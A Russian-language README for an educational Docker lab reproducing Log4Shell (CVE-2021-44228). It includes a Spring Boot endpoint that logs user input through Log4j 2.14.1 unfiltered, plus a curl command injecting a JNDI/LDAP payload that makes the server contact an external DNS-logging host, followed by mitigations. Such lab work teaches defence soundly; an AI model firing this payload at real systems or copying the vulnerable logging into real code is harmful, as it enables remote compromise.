
Техническое исследование и реализация тестовой среды для уязвимости Apache Log4j (CVE-2021-44228). Содержит докеризированное доказательство концепции (PoC) и предложение по обновлению PSSI. Для целей лабораторной работы.
Этот проект представляет собой контролируемую тестовую среду для воспроизведения и понимания критической уязвимости Log4Shell (CVE-2021-44228), затрагивающей библиотеку Apache Log4j.
Secutp1/
├── Dockerfile # Сборка Docker-образа
├── pom.xml # Зависимости Maven (уязвимая Log4j 2.14.1)
├── README.md # Этот файл
└── src/
└── main/
└── java/
└── com/
└── example/
└── VulnerableApplication.java # Уязвимое приложение Spring Boot
Продемонстрировать, как злоумышленник может использовать уязвимость CVE-2021-44228, чтобы заставить сервер выполнить несанкционированное исходящее сетевое соединение, просто отправив вредоносную строку.
pom.xml)Файл pom.xml принудительно использует Log4j 2.14.1 — версию, предшествующую исправлению безопасности:
<log4j2.version>2.14.1</log4j2.version>
Эта версия содержит класс JndiLookup, включенный по умолчанию, что является корнем проблемы.
VulnerableApplication.java)Приложение предоставляет REST-веб-сервис. Уязвимость находится в методе index:
@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
// УЯЗВИМАЯ СТРОКА :
logger.info("Requête reçue, input : " + input);
return "Bonjour ! Votre input a été loggé : " + input;
}
Проблема: Приложение получает пользовательский параметр (input) и передаёт его напрямую в logger.info() без какой-либо фильтрации. Log4j затем интерпретирует содержимое как потенциальную команду.
Dockerfile)Dockerfile использует двухэтапную сборку:
maven:3.8.4-openjdk-11)eclipse-temurin:11-jre💡 Использование Java 11 актуально, так как более новые версии по умолчанию ограничивают загрузку удалённых классов.
Эксплуатация основана на внедрении JNDI (Java Naming and Directory Interface):
${jndi:protocole://url} в логахУбедитесь, что следующие файлы находятся в одной папке:
Dockerfilepom.xmlsrc/main/java/com/example/VulnerableApplication.javadocker build -t vulnerable-app .
Эта команда загружает зависимости Maven (Log4j 2.14.1) и создаёт образ.
docker run -p 8080:8080 --name demo-log4j vulnerable-app
Теперь приложение слушает порт 8080.
mon-test.dnslog.cn)В новом терминале выполните следующую команду:
curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"
📝 Примечание: Символ
\используется для экранирования$в терминале.
Вернитесь на сайт dnslog. Вы увидите появившийся DNS-запрос, подтверждающий, что сервер выполнил внедрённый код.
Сервер выполнил исходящее соединение с внешней машиной, просто записав в лог пользовательский запрос.
В реальном сценарии это соединение позволило бы:
Для исправления этой уязвимости:
-Dlog4j2.formatMsgNoLookups=trueЭтот проект предоставляется только в образовательных целях. Используйте его ответственно и этично.
| Шаг | Действие |
|---|
| 1 | Java-приложение получает HTTP-запрос |
| 2 | Строка logger.info(...) обрабатывает параметр input |
| 3 | Log4j обнаруживает синтаксис ${jndi:...} |
| 4 | Log4j выполняет LDAP-разрешение к удалённому серверу |
| 5 | DNS-запрос появляется в интерфейсе DNSLog |